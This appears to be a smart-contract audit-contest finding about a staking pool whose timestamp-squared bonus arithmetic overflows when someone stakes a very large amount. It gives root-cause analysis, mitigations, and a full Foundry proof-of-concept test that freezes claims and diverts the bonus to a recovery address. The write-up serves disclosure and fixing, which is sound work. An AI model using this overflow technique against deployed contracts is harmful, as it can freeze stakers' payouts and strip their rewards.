FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Huge stake overflows k=2 accounting and freezes payouts

Author Revealed upon completion

Description

The pool accepts arbitrarily large standard ERC20 stakes. The root cause is that
accepted stake amounts are later multiplied by squared timestamps in
_bonusShare() and _markRiskWindowStart() without a stake cap or 512-bit
intermediate arithmetic, so an amount that fits at deposit time can overflow
after time advances and freeze claims or erase observed-risk bonus accounting.

Details

The protocol documents the bonus as a k=2 time-weighted formula, where each
deposit contributes amount * (T - entryTime)^2. The implementation stores
equivalent expanded sums instead of iterating deposits at claim time. When a user
stakes, the pool accepts the post-transfer received amount and records
received * newEntry * newEntry without any maximum stake bound.

uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;

That first multiplication only proves the amount fits at the current
block.timestamp. It does not prove the same amount will fit after T advances
toward expiry. _bonusShare() later recomputes both the user's score and the
global score using the larger resolution timestamp. The code multiplies
T * T * userEligible
and T * T * snapshotTotalStaked directly:

uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;

The comment below this block says Math.mulDiv protects the final
share multiplication from overflow, but the dangerous timestamp-squared
products already happened before mulDiv is reached. A large staker can choose
an amount slightly above type(uint256).max / (expiry * expiry), while still
keeping the original amount * stakeTimestamp * stakeTimestamp below the
uint256 limit. Once the pool resolves near expiry, every claimSurvived() or
claimExpired() call that enters _bonusShare() reverts on arithmetic
overflow.

The same class of overflow exists when the risk window opens. _markRiskWindowStart()
eagerly rewrites the global accumulators as if all current stake entered at the observed risk timestamp:

uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;

Again, totalEligibleStake * t * t can overflow even though every earlier stake
was accepted. If that happens on the first active-risk observation, pokeRiskWindow(),
stake(), contributeBonus(), withdraw(), or claimExpired() can revert
before sealing riskWindowStart.

That second path is economically important because the contract has a special
no-observed-risk branch. If the overflow prevents the pool from observing the
active-risk interval and the next successful interaction only sees PRODUCTION,
riskWindowStart stays zero. _bonusShare() then returns zero for stakers and
sweepUnclaimedBonus() treats the entire bonus as sweepable to
recoveryAddress.

This is not a hostile-token issue. The PoC uses the normal mock ERC20 transfer
path and only relies on a large standard token balance. The README limits tokens
to standard ERC20 semantics, but it does not impose a maximum supply, decimals,
stake amount, or pool TVL cap that would keep the quadratic arithmetic inside
uint256.

Risk

An attacker with a sufficiently large standard-token balance freezes all
SURVIVED or EXPIRED claims for the affected pool by making _bonusShare() revert
for every claimant. In the risk-observation variant, the attacker prevents
riskWindowStart from being sealed, causing stakers to receive principal only
while the full bonus is swept to recoveryAddress. Both paths break the core
settlement invariant that accepted stake remains claimable after a correct
SURVIVED or EXPIRED outcome.

Recommended mitigation steps

Bound accepted stake so every future amount * timestamp^2 calculation fits, or
rewrite the score calculation around bounded deltas (T - entryTime) and
512-bit arithmetic before any timestamp-squared product can overflow.

Proof of concept

I reproduced the issue locally with a standalone Foundry test. Save the PoC as
test/TempRiskWindowStartOverflowPoC.t.sol and run:

forge test --match-path test/TempRiskWindowStartOverflowPoC.t.sol -vv

Representative output:

Ran 3 tests for test/TempRiskWindowStartOverflowPoC.t.sol:TempRiskWindowStartOverflowPoCTest
[PASS] testHugeStakeCanFreezeAllSurvivorClaimsByOverflowingBonusShare() (gas: 656059)
[PASS] testHugeStakeCanMakeClaimExpiredRevertDuringActiveRisk() (gas: 322361)
[PASS] testHugeStakeCanMakeRiskWindowObservationOverflowAndEraseBonus() (gas: 554973)
Suite result: ok. 3 passed; 0 failed; 0 skipped

Full PoC:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract TempRiskWindowStartOverflowPoCTest is BaseConfidencePoolTest {
function testHugeStakeCanFreezeAllSurvivorClaimsByOverflowingBonusShare() external {
uint256 t0 = vm.getBlockTimestamp();
uint256 expiryTs = pool.expiry();
uint256 amount = type(uint256).max / (expiryTs * expiryTs) + 1;
assertLe(amount * t0 * t0, type(uint256).max, "stake-time-square at entry fits");
_stake(alice, amount);
_stake(bob, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0, "risk start sealed");
vm.warp(expiryTs - 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(bob);
vm.expectRevert();
pool.claimSurvived();
vm.prank(alice);
vm.expectRevert();
pool.claimSurvived();
}
function testHugeStakeCanMakeRiskWindowObservationOverflowAndEraseBonus() external {
uint256 t0 = vm.getBlockTimestamp();
uint256 t1 = t0 + 10 days;
uint256 amount = type(uint256).max / (t1 * t1) + 1;
assertLe(amount * t0 * t0, type(uint256).max, "stake-time-square at entry fits");
_stake(alice, amount);
_contributeBonus(carol, 100 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(t1);
vm.expectRevert();
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "risk observation remains unsealed after overflow");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.warp(pool.expiry());
vm.prank(dave);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED));
assertEq(pool.riskWindowStart(), 0, "terminal-only observation did not open risk");
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, amount, "staker receives principal only");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, 100 * ONE, "bonus swept to recovery");
}
function testHugeStakeCanMakeClaimExpiredRevertDuringActiveRisk() external {
uint256 t0 = vm.getBlockTimestamp();
uint256 expiryTs = pool.expiry();
uint256 amount = type(uint256).max / (expiryTs * expiryTs) + 1;
assertLe(amount * t0 * t0, type(uint256).max, "stake-time-square at entry fits");
_stake(alice, amount);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(expiryTs);
vm.expectRevert();
pool.claimExpired();
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!